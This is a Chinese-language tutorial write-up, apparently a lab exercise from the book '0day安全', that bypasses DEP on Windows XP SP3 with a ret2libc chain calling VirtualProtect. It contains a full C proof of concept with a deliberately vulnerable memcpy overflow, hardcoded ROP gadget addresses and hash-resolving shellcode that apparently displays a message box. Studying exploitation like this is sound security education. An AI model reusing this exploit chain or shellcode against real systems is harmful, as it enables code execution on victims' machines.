0day2 挑战DEP,ret2libc利用VirtualProtect详细实现
本文参考于 0day安全:软件漏洞分析技术(第2版)
此方法是利用ret2libc来改变内存属性,使栈空间可以执行命令
实验环境 windows xp sp3,vc6.0,仅开启dep,OD调试器;
代码如下:
// GS_Virtual.cpp : 定义控制台应用程序的入口点。
//
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xd0\xdb\xce\x7d"//pop eax retn
"\x57\x4c\x5F\x7d"//pop pop pop retn
"\x95\x8b\x1d\x5d"//修正EBP
"\xbe\x0d\xfc\x7f"//RETN
"\x90\x90\x90\x90"
"\xb8\xdd\xeb\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xb8\xdd\xeb\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xd9\x1a\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\xAb\x8f\xd3\x7d"//jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,420);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
VirtualProtect参数
HRESULT VirtualProtect (
[in] void* lpAddress, //指向要更改其保护属性的虚拟内存基址的指针
[in] SIZE_T dwSize, //要更改的内存页区域的大小(以字节为单位)
[in] DWORD flNewProtect, //要应用的内存保护的类型
[out] DWORD* pflOldProtect //指向上一个内存保护值的指针
);
由函数流程可知ebp+8到ebp+14保存着需要构造的参数,ebp+c和ebp+10是固定的,而ebp+8和ebp+14是需要动态确定的。
首先,我们需要修复ebp,利用push esp,pop ebp,retn 4指令。
执行完命令后,esp会指向ebp+8,利用retn指令使esp向高地址移动,再push esp,jmp eax就可以将ebp+8赋为esp,接着只要确定ebp+14的值。由于有jmp eax,因此可将eax设为pop,pop,pop,retn的地址,使执行后esp指向ebp+18,再利用push esp,jmp eax命令确定ebp+14的值。至此,动态地址已经布置完成,只要再写入两个固定参数到ebp+c,ebp+10,即0xff,0x40,至此内存属性已修改完毕,加入jmp esp即可。
调用virtualprotect函数
参数布置完成
最后根据virtualprotect最后的retn 10,进行填充后,即可布置shellcode。
参考于:0day安全:软件漏洞分析技术(第2版)